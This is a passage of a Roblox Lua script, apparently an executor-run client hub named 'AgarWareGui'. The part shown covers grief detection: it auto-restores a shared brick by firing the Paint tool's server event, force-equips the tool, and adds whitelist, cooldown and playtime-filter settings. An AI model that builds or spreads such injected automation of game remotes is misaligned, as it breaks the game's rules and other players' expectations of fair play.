						lastCheck[userId] = now
	
						local sound = getBoomboxSound(player)
						if sound and sound.IsPlaying then
							local loudness = getLoudness(player, sound)
							if loudness > LOUD_THRESHOLD then
								onBoomboxLoud(player, sound)
							end
						end
					end
				end
			end
			task.wait(0.2) -- small delay to prevent tight loop
		end
	end)
end;
task.spawn(C_206);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepScript
local function C_20a()
local script = G2L["20a"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local repBrick = ReplicatedStorage:WaitForChild("Brick")
	
	--------------------------------------------------
	-- GUI REFERENCES
	--------------------------------------------------
	local AutoPaintRepRow = script.Parent
	local MiscGroup = AutoPaintRepRow.Parent
	local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
	local AutoPaintRepTickBox = AutoPaintRepRow:WaitForChild("AutoPaintRepTickBox")
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	AutoPaintRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	AutoPaintRepTickBox:SetAttribute("Enabled", false)
	
	local function updateVisual()
		if AutoPaintRepTickBox:GetAttribute("Enabled") then
			AutoPaintRepTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
		else
			AutoPaintRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end
	
	AutoPaintRepTickBox.MouseButton1Click:Connect(function()
		local state = not AutoPaintRepTickBox:GetAttribute("Enabled")
		AutoPaintRepTickBox:SetAttribute("Enabled", state)
		updateVisual()
	end)
	
	updateVisual()
	
	-- ============================================================
	-- TOOLTIP
	-- ============================================================
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "AutoPaintRepTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = script.Parent.Parent:FindFirstAncestorWhichIsA("ScreenGui")
	tooltipFrame.ClipsDescendants = true
	tooltipFrame.Active = false
	tooltipFrame.Selectable = false
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipText = Instance.new("TextLabel")
	tooltipText.BackgroundTransparency = 1
	tooltipText.Text = "Automatically restores bkit when a player using exploits to paint the ReplicatedStorage.Brick. It also checks in every minute if it failed to restore. You must have Paint tool."
	tooltipText.TextColor3 = Color3.new(1, 1, 1)
	tooltipText.TextSize = 14
	tooltipText.TextXAlignment = Enum.TextXAlignment.Left
	tooltipText.TextYAlignment = Enum.TextYAlignment.Top
	tooltipText.Font = Enum.Font.GothamSemibold
	tooltipText.TextWrapped = true
	tooltipText.Size = UDim2.new(0, 200, 0, 0)
	tooltipText.AutomaticSize = Enum.AutomaticSize.Y
	tooltipText.ZIndex = 101
	tooltipText.Parent = tooltipFrame
	
	AutoPaintRepTickBox.MouseEnter:Connect(function()
		local abs = AutoPaintRepTickBox.AbsolutePosition
		local size = AutoPaintRepTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	AutoPaintRepTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	--------------------------------------------------
	-- SHARED STATE
	--------------------------------------------------
	shared.IsRestoringBKit = false
	shared.AutoPaintDebounce = nil
	
	--------------------------------------------------
	-- CLEAN MATERIALS
	--------------------------------------------------
	local CLEAN_MATERIALS = {
		["SmoothPlastic"] = true,
		["CeramicTiles"] = true,
		["Plastic"] = true,
		["Concrete"] = true,
	}
	
	local lastMaterial = repBrick.Material
	
	--------------------------------------------------
	-- HELPERS
	--------------------------------------------------
	local function sendChat(msg)
		if shared.sendChat then shared.sendChat(msg) end
	end
	
	local function getPaintTool()
		return LocalPlayer.Backpack:FindFirstChild("Paint")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
	end
	
	local function getPaintEvent()
		local tool = getPaintTool()
		if not tool then return nil end
		local s = tool:FindFirstChild("Script")
		return s and s:FindFirstChild("Event")
	end
	
	local function isRepPaintsEnabled()
		return shared.RepPaintsEnabled == true
	end
	
	-- NEW: Force equip Paint tool if it gets unequipped during restoration
	local function ensurePaintEquipped()
		local character = LocalPlayer.Character
		if not character then return false end
	
		-- Check if Paint is already equipped
		if character:FindFirstChild("Paint") then
			return true
		end
	
		-- Paint is not equipped, force equip it
		local paintInBackpack = LocalPlayer.Backpack:FindFirstChild("Paint")
		if not paintInBackpack then
			return false -- Paint tool doesn't exist
		end
	
		local hum = character:FindFirstChild("Humanoid")
		if not hum then return false end
	
		-- Force equip
		hum:EquipTool(paintInBackpack)
		task.wait(0.15)
	
		-- Verify it's equipped
		return character:FindFirstChild("Paint") ~= nil
	end
	
	local SIDES = {
		Enum.NormalId.Front,
		Enum.NormalId.Right,
		Enum.NormalId.Back,
		Enum.NormalId.Left,
		Enum.NormalId.Top,
		Enum.NormalId.Bottom,
	}
	
	local DEFAULT_COLOR    = Color3.fromRGB(192, 192, 192)
	local DEFAULT_MATERIAL = "plastic"
	
	--------------------------------------------------
	-- RESTORE FUNCTION USING PAINT TOOL
	--------------------------------------------------
	local function restoreBrick(repBrick, sendMessage)
		local character = LocalPlayer.Character
		if not character then return false end
	
		local previousTool = character:FindFirstChildOfClass("Tool")
		local wasPaintEquipped = previousTool and previousTool.Name == "Paint"
	
		if not wasPaintEquipped then
			local paintInBackpack = LocalPlayer.Backpack:FindFirstChild("Paint")
			if not paintInBackpack then return false end
			local hum = character:FindFirstChild("Humanoid")
			if not hum then return false end
			hum:EquipTool(paintInBackpack)
			task.wait(0.1)
		end
	
		local paintEvent = getPaintEvent()
		if not paintEvent then return false end
	
		-- Step 1: Repaint all sides with default color
		for _, side in ipairs(SIDES) do
			-- Ensure Paint is still equipped
			if not ensurePaintEquipped() then
				return false
			end
	
			pcall(function()
				paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", DEFAULT_COLOR, "", "")
			end)
			task.wait(0.05)
		end
	
		-- Step 2: Apply default material - KEEP TRYING UNTIL IT'S A CLEAN MATERIAL
		local maxMaterialAttempts = 10
		for attempt = 1, maxMaterialAttempts do
			-- Ensure Paint is still equipped before each attempt
			if not ensurePaintEquipped() then
				return false
			end
	
			-- Check if material is already clean
			if CLEAN_MATERIALS[repBrick.Material.Name] then
				break
			end
	
			-- Apply plastic material
			pcall(function()
				paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", DEFAULT_COLOR, DEFAULT_MATERIAL, "")
			end)
			task.wait(0.15)
		end
	
		-- Step 3: Clear ALL sprays - KEEP SPRAYING UNTIL NO CHILDREN REMAIN
		local maxSprayAttempts = 20
		for attempt = 1, maxSprayAttempts do
			-- Ensure Paint is still equipped before each spray cycle
			if not ensurePaintEquipped() then
				return false
			end
	
			-- Check if all sprays are gone
			if #repBrick:GetChildren() == 0 then
				break
			end
	
			-- Spray all sides
			for _, side in ipairs(SIDES) do
				-- Check Paint tool is equipped before each side
				if not ensurePaintEquipped() then
					return false
				end
	
				pcall(function()
					paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", DEFAULT_COLOR, "spray", "")
				end)
				task.wait(0.03)
			end
	
			task.wait(0.05)
		end
	
		-- Step 4: Anchor if unanchored
		if not repBrick.Anchored then
			-- Ensure Paint is equipped
			if not ensurePaintEquipped() then
				return false
			end
	
			-- Clear spray on Top side first
			pcall(function()
				paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", DEFAULT_COLOR, "spray", "")
			end)
			task.wait(0.1)
	
			-- Anchor it
			pcall(function()
				paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "")
			end)
			task.wait(0.1)
		end
	
		-- Re-equip previous tool
		if not wasPaintEquipped then
			local hum = character:FindFirstChild("Humanoid")
			if hum then
				hum:UnequipTools()
				task.wait(0.1)
				if previousTool and previousTool.Parent == LocalPlayer.Backpack then
					hum:EquipTool(previousTool)
				end
			end
		end
	
		-- Send message if requested
		if sendMessage and isRepPaintsEnabled() then
			sendChat("✅Bkit has been restored back to normal")
		end
	
		return true
	end
	
	--------------------------------------------------
	-- CHANGE COUNTING
	--------------------------------------------------
	local function isChangeCounted()
		local mat = repBrick.Material
		local color = repBrick.Color
		local anchored = repBrick.Anchored
		local hasChildren = #repBrick:GetChildren() > 0
	
		-- Only ignore material-change itself if Clean→Clean or Normal→Clean
		local materialChangeIgnored = (CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name])
			or (not CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name])
	
		lastMaterial = mat -- always update tracker
	
		-- Count change if ANY of these is true (OR logic)
		if materialChangeIgnored then
			-- ignore only material-change itself
			return hasChildren or anchored == false or color ~= DEFAULT_COLOR or not CLEAN_MATERIALS[mat.Name]
		else
			return true
		end
	end
	
	--------------------------------------------------
	-- BRICK CHANGE HANDLER
	--------------------------------------------------
	local function onBrickChanged()
		if not AutoPaintRepTickBox:GetAttribute("Enabled") then return end
		if shared.IsRestoringBKit then return end
	
		if isChangeCounted() then
			if shared.AutoPaintDebounce then
				task.cancel(shared.AutoPaintDebounce)
			end
	
			shared.AutoPaintDebounce = task.delay(1, function()
				shared.AutoPaintDebounce = nil
				shared.IsRestoringBKit = true
	
				-- Check if Paint tool exists before restoring
				local hasPaintTool = getPaintTool() ~= nil
	
				if hasPaintTool then
					-- Restore with message (detected from change event)
					restoreBrick(repBrick, true)
				end
	
				shared.IsRestoringBKit = false
			end)
		end
	end
	
	--------------------------------------------------
	-- 60-SECOND CHECK LOOP
	--------------------------------------------------
	local function checkBrickProperties()
		if not AutoPaintRepTickBox:GetAttribute("Enabled") then return false end
		if shared.IsRestoringBKit then return false end
	
		local color = repBrick.Color
		local material = repBrick.Material
		local hasChildren = #repBrick:GetChildren() > 0
	
		-- Check if brick needs restoration
		local needsRestore = false
	
		-- Check color (must be exactly 192, 192, 192)
		if color ~= DEFAULT_COLOR then
			needsRestore = true
		end
	
		-- Check material (must be one of the clean materials)
		if not CLEAN_MATERIALS[material.Name] then
			needsRestore = true
		end
	
		-- Check children (must have no children)
		if hasChildren then
			needsRestore = true
		end
	
		return needsRestore
	end
	
	task.spawn(function()
		while task.wait(60) do
			if AutoPaintRepTickBox:GetAttribute("Enabled") then
				if checkBrickProperties() then
					-- Brick needs restoration
					local hasPaintTool = getPaintTool() ~= nil
	
					if hasPaintTool and not shared.IsRestoringBKit then
						shared.IsRestoringBKit = true
						-- Restore WITHOUT message (60-second check, not change detection)
						restoreBrick(repBrick, false)
						shared.IsRestoringBKit = false
					end
				end
			end
		end
	end)
	
	--------------------------------------------------
	-- MONITOR
	--------------------------------------------------
	local connections = {}
	
	local function startWatching()
		table.insert(connections, repBrick:GetPropertyChangedSignal("Color"):Connect(onBrickChanged))
		table.insert(connections, repBrick:GetPropertyChangedSignal("Material"):Connect(onBrickChanged))
		table.insert(connections, repBrick:GetPropertyChangedSignal("Anchored"):Connect(onBrickChanged))
		table.insert(connections, repBrick:GetPropertyChangedSignal("Size"):Connect(onBrickChanged))
		table.insert(connections, repBrick:GetPropertyChangedSignal("BrickColor"):Connect(onBrickChanged))
		table.insert(connections, repBrick.ChildAdded:Connect(onBrickChanged))
		table.insert(connections, repBrick.ChildRemoved:Connect(onBrickChanged))
	end
	
	local function stopWatching()
		for _, c in ipairs(connections) do
			pcall(function() c:Disconnect() end)
		end
		connections = {}
	
		if shared.AutoPaintDebounce then
			task.cancel(shared.AutoPaintDebounce)
			shared.AutoPaintDebounce = nil
		end
	end
	
	startWatching()
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			stopWatching()
		end
	end)
end;
task.spawn(C_20a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsScript
local function C_210()
local script = G2L["210"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	
	local LocalPlayer = Players.LocalPlayer
	
	local GSettingsGroup = script.Parent
	local GSettingsMinimize = GSettingsGroup.GSettingsTitle.GSettingsMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(GSettingsGroup:GetChildren()) do
			if child:IsA("Frame") and string.sub(child.Name, -3) == "Row" then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = GSettingsGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	GSettingsMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			GSettingsGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			GSettingsMinimize.Text = "+"
		else
			GSettingsGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			GSettingsMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_210);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsToolTip
local function C_211()
local script = G2L["211"];
	-- ============================================================
	-- ENABLE TOOLTIP SCRIPT
	-- ============================================================
	
	local Group = script.Parent
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	
	-- ============================================================
	-- FIND UI REFERENCES
	-- ============================================================
	
	local function findDescendant(name)
		for _, v in pairs(ScreenGui:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	
	-- Enable tickboxes (left side, unchanged)
	local EnableDeleteTickBox = findDescendant("EnableDeleteTickBox")
	local EnableToxifyTickBox = findDescendant("EnableToxifyTickBox")
	local EnableAnchoredTickBox = findDescendant("EnableAnchoredTickBox")
	local EnableSpamTickBox = findDescendant("EnableSpamTickBox")
	local EnableExploitsTickBox = findDescendant("EnableExploitsTickBox")
	local EnableHelp = findDescendant("EnableHelp")
	
	-- GSettings (right side)
	local CooldownGriefHelp = findDescendant("CooldownGriefHelp")
	local GriefEnlightenTickBox = findDescendant("GriefEnlightenTickBox")
	local GriefInGameTickBox = findDescendant("GriefInGameTickBox")
	local TimeFilterHelp = findDescendant("TimeFilterHelp")
	local WListHelp = findDescendant("WListHelp")
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
	
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
	
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- CREATE TOOLTIPS
	-- ============================================================
	
	-- Left side (enable group) - unchanged
	local deleteTooltip = makeTooltip(
		"Detects players deleting other people's builds."
	)
	local toxifyTooltip = makeTooltip(
		"Detects players toxifying other people's builds."
	)
	local anchoredTooltip = makeTooltip(
		"Detects players unanchoring other people's builds."
	)
	local spamTooltip = makeTooltip(
		"Detects players spamming blocks."
	)
	local exploitsTooltip = makeTooltip(
		"Detects players using grief auras, grief scripts and other exploits. You must turn on any grief detections to detect when they use exploits to grief with those tools.\n\nAlert in chat will send a different message when they use scripts to grief."
	)
	local helpTooltip = makeTooltip(
		"Enabling any detection will monitor for possible griefing.\nTurn on punish options to automatically punish detected players.\n\nView detection logs by typing /console in chat."
	)
	
	-- Right side (GSettings)
	local cooldownTooltip = makeTooltip(
		"Sets the cooldown in seconds before a player can be flagged for griefing again.\n\nSet to 0 for no cooldown."
	)
	local enlightenTooltip = makeTooltip(
		"When ON, all players are monitored for griefing.\n\nWhen OFF, players who own The Arkenstone in their backpack are ignored and will not be detected."
	)
	local inGameTooltip = makeTooltip(
		"When ON, deleting blocks counts as griefing even if the block owner is offline.\n\nWhen OFF, only deleting blocks of players currently in the server counts as griefing."
	)
	local timeFilterTooltip = makeTooltip(
		"Only detects players whose playtime (in seconds) is below this number.\n\nSet to 0 to detect everyone regardless of playtime."
	)
	local wlistTooltip = makeTooltip(
		"Whitelisted players will never be flagged for griefing, regardless of any other settings."
	)
	
	-- ============================================================
	-- HOOK THEM
	-- ============================================================
	
	-- Left side
	hookTooltip(EnableDeleteTickBox, deleteTooltip)
	hookTooltip(EnableToxifyTickBox, toxifyTooltip)
	hookTooltip(EnableAnchoredTickBox, anchoredTooltip)
	hookTooltip(EnableSpamTickBox, spamTooltip)
	hookTooltip(EnableExploitsTickBox, exploitsTooltip)
	hookTooltip(EnableHelp, helpTooltip)
	
	-- Right side
	hookTooltip(CooldownGriefHelp, cooldownTooltip)
	hookTooltip(GriefEnlightenTickBox, enlightenTooltip)
	hookTooltip(GriefInGameTickBox, inGameTooltip)
	hookTooltip(TimeFilterHelp, timeFilterTooltip)
	hookTooltip(WListHelp, wlistTooltip)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			deleteTooltip:Destroy()
			toxifyTooltip:Destroy()
			anchoredTooltip:Destroy()
			spamTooltip:Destroy()
			exploitsTooltip:Destroy()
			helpTooltip:Destroy()
			cooldownTooltip:Destroy()
			enlightenTooltip:Destroy()
			inGameTooltip:Destroy()
			timeFilterTooltip:Destroy()
			wlistTooltip:Destroy()
		end
	end)
end;
task.spawn(C_211);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterChanger.TimeFilterScript
local function C_219()
local script = G2L["219"];
	local textBox = script.Parent -- TimeFilterChanger TextBox
	
	-- Show current filter on load and print it
	shared.GriefTimeFilter = shared.GriefTimeFilter or 0
	textBox.Text = tostring(shared.GriefTimeFilter)
	
	if shared.GriefTimeFilter == 0 then
		print("[Time Filter] Set to 0 - detecting everyone")
	else
		print("[Time Filter] Set to", shared.GriefTimeFilter, "- detecting players under", shared.GriefTimeFilter, "seconds playtime")
	end
	
	textBox.FocusLost:Connect(function()
		local num = tonumber(textBox.Text)
		if num and num >= 0 then
			shared.GriefTimeFilter = num
			if num == 0 then
				print("[Time Filter] Set to 0 - detecting everyone")
			else
				print("[Time Filter] Updated to", num, "- detecting players under", num, "seconds playtime")
			end
		else
			textBox.Text = tostring(shared.GriefTimeFilter)
			print("[Time Filter] Invalid input, keeping", shared.GriefTimeFilter)
		end
	end)
end;
task.spawn(C_219);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelScript
local function C_21c()
local script = G2L["21c"];
	local WListLabelRow = script.Parent
	local WListLabelHelp = WListLabelRow.WListLabelHelp
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "WListTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipText = Instance.new("TextLabel")
	tooltipText.BackgroundTransparency = 1
	tooltipText.Text = "Whitelisted players will be ignored by grief detection"
	tooltipText.TextColor3 = Color3.new(1, 1, 1)
	tooltipText.TextSize = 14
	tooltipText.TextXAlignment = Enum.TextXAlignment.Left
	tooltipText.TextYAlignment = Enum.TextYAlignment.Top
	tooltipText.Font = Enum.Font.GothamSemibold
	tooltipText.TextWrapped = true
	tooltipText.Size = UDim2.new(0, 200, 0, 0)
	tooltipText.AutomaticSize = Enum.AutomaticSize.Y
	tooltipText.ZIndex = 101
	tooltipText.Parent = tooltipFrame
	
	WListLabelHelp.MouseEnter:Connect(function()
		local abs = WListLabelHelp.AbsolutePosition
		local size = WListLabelHelp.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	WListLabelHelp.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_21c);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow.WListScript
local function C_220()
local script = G2L["220"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	repeat task.wait() until shared.DropdownMaster
	
	local function updateWhitelist(selected)
		-- Always include LocalPlayer
		selected[LocalPlayer.Name] = true
	
		local names = {}
		for name, _ in pairs(selected) do
			table.insert(names, name)
		end
		script.Parent:SetAttribute("Whitelist", table.concat(names, ","))
		shared.GriefWhitelist = selected
	end
	
	shared.DropdownMaster.create({
		dropdown = script.Parent:WaitForChild("WListDropdown"),
		multiSelect = true,
		showIcons = true,
		initialSelection = {[LocalPlayer.Name] = true}, -- Start with LocalPlayer selected
	
		onMultiSelectChange = function(selected)
			updateWhitelist(selected)
		end,
	
		bottomButtons = {
			{
				text = "Select All",
				onClick = function(state)
					-- Clear and select all
					for k in pairs(state.selectedPlayers) do
						state.selectedPlayers[k] = nil
					end
					for _, p in pairs(Players:GetPlayers()) do
						state.selectedPlayers[p.Name] = true
					end
	
					local count = 0
					for _ in pairs(state.selectedPlayers) do count = count + 1 end
					state.mainLabel.Text = count .. " Players Selected"
	
					state.notifyChange()
					state.rebuildList()
				end
			},
			{
				text = "Unselect All",
				onClick = function(state)
					-- Clear all except LocalPlayer
					for k in pairs(state.selectedPlayers) do
						state.selectedPlayers[k] = nil
					end
					state.selectedPlayers[LocalPlayer.Name] = true
	
					state.mainLabel.Text = "1 Player Selected"
	
					state.notifyChange()
					state.rebuildList()
				end
			},
			{
				text = "Show Display",
				onClick = function(state)
					state.setShowDisplay(not state.showDisplay)
					state.button.Text = state.showDisplay and "Show Username" or "Show Display"
					state.rebuildList()
				end
			},
			{
				text = "Select Admin",
				onClick = function(state)
					local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen")
					if not chosenTeam then return end
	
					for _, p in pairs(Players:GetPlayers()) do
						if p.Team == chosenTeam then
							state.selectedPlayers[p.Name] = true
							break
						end
					end
	
					local count = 0
					for _ in pairs(state.selectedPlayers) do count = count + 1 end
					state.mainLabel.Text = count .. " Players Selected"
	
					state.notifyChange()
					state.rebuildList()
				end
			}
		}
	})
	
	-- Auto-whitelist LocalPlayer on start
	local initialWhitelist = {[LocalPlayer.Name] = true}
	updateWhitelist(initialWhitelist)
end;
task.spawn(C_220);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameScript
local function C_223()
local script = G2L["223"];
	local Players = game:GetService("Players")
	--------------------------------------------------
	-- STRUCTURE
	--------------------------------------------------
	local GriefInGameRow = script.Parent
	local GSettingsGroup = GriefInGameRow.Parent
	local RightSide = GSettingsGroup.Parent
	local Page = RightSide.Parent
	local ContentArea = Page.Parent
	local MainFrame = ContentArea.Parent
	local ScreenGui = MainFrame.Parent
	local GriefInGameTickBox = GriefInGameRow:WaitForChild("GriefInGameTickBox")
	local GriefInGameAccent = GSettingsGroup.Parent.Parent.TCODetectionLeftSide.EnableGroup:WaitForChild("EnableAccentColor")
	--------------------------------------------------
	-- ATTRIBUTE + SHARED SYNC
	--------------------------------------------------
	if ScreenGui:GetAttribute("GriefInGameEnabled") == nil then
		ScreenGui:SetAttribute("GriefInGameEnabled", true)
	end
	
	local function isEnabled()
		return ScreenGui:GetAttribute("GriefInGameEnabled") == true
	end
	
	local function setState(state)
		ScreenGui:SetAttribute("GriefInGameEnabled", state)
		-- Sync to shared so grief detection script can read it
		shared.GriefInGameEnabled = state
	
		if state then
			GriefInGameTickBox.BackgroundColor3 = GriefInGameAccent.BackgroundColor3
			print("[Grief InGame] ON - deleting offline player bricks counts as griefing")
		else
			GriefInGameTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			print("[Grief InGame] OFF - only deleting bricks of players currently in game counts as griefing")
		end
	end
	--------------------------------------------------
	-- CLICK
	--------------------------------------------------
	GriefInGameTickBox.MouseButton1Click:Connect(function()
		setState(not isEnabled())
	end)
	--------------------------------------------------
	-- AUTO ENABLE ON EXECUTE
	--------------------------------------------------
	setState(true)
end;
task.spawn(C_223);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenScript
local function C_227()
local script = G2L["227"];
	local Players = game:GetService("Players")
	--------------------------------------------------
	-- STRUCTURE
	--------------------------------------------------
	local GriefEnlightenRow = script.Parent
	local GSettingsGroup = GriefEnlightenRow.Parent
	local RightSide = GSettingsGroup.Parent
	local Page = RightSide.Parent
	local ContentArea = Page.Parent
	local MainFrame = ContentArea.Parent
	local ScreenGui = MainFrame.Parent
	local GriefEnlightenTickBox = GriefEnlightenRow:WaitForChild("GriefEnlightenTickBox")
	local GriefEnlightenAccent = GSettingsGroup.Parent.Parent.TCODetectionLeftSide.EnableGroup:WaitForChild("EnableAccentColor")
	--------------------------------------------------
	-- ATTRIBUTE + SHARED SYNC
	--------------------------------------------------
	if ScreenGui:GetAttribute("GriefEnlightenEnabled") == nil then
		ScreenGui:SetAttribute("GriefEnlightenEnabled", true)
	end
	
	local function isEnabled()
		return ScreenGui:GetAttribute("GriefEnlightenEnabled") == true
	end
	
	local function setState(state)
		ScreenGui:SetAttribute("GriefEnlightenEnabled", state)
		-- Sync to shared so the grief detection script can read it
		shared.GriefEnlightenEnabled = state
	
		if state then
			GriefEnlightenTickBox.BackgroundColor3 = GriefEnlightenAccent.BackgroundColor3
			print("[Grief Enlighten] ON - detecting everyone")
		else
			GriefEnlightenTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			print("[Grief Enlighten] OFF - only detecting players without The Arkenstone")
		end
	end
	--------------------------------------------------
	-- CLICK
	--------------------------------------------------
	GriefEnlightenTickBox.MouseButton1Click:Connect(function()
		setState(not isEnabled())
	end)
	--------------------------------------------------
	-- AUTO ENABLE
	--------------------------------------------------
	setState(true)
end;
task.spawn(C_227);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefChanger.CooldownScript
local function C_22d()
local script = G2L["22d"];
	local textBox = script.Parent -- CooldownGriefChanger TextBox
	
	-- Show current cooldown on load and print it
	shared.GriefCooldown = shared.GriefCooldown or 30
	textBox.Text = tostring(shared.GriefCooldown)
	print("[Grief Cooldown] Set to", shared.GriefCooldown)
	
	textBox.FocusLost:Connect(function(enterPressed)
		local num = tonumber(textBox.Text)
		if num and num >= 0 then -- Allow 0 and above
			shared.GriefCooldown = num
			if num == 0 then
				print("[Grief Cooldown] Set to 0 - no cooldown active")
			else
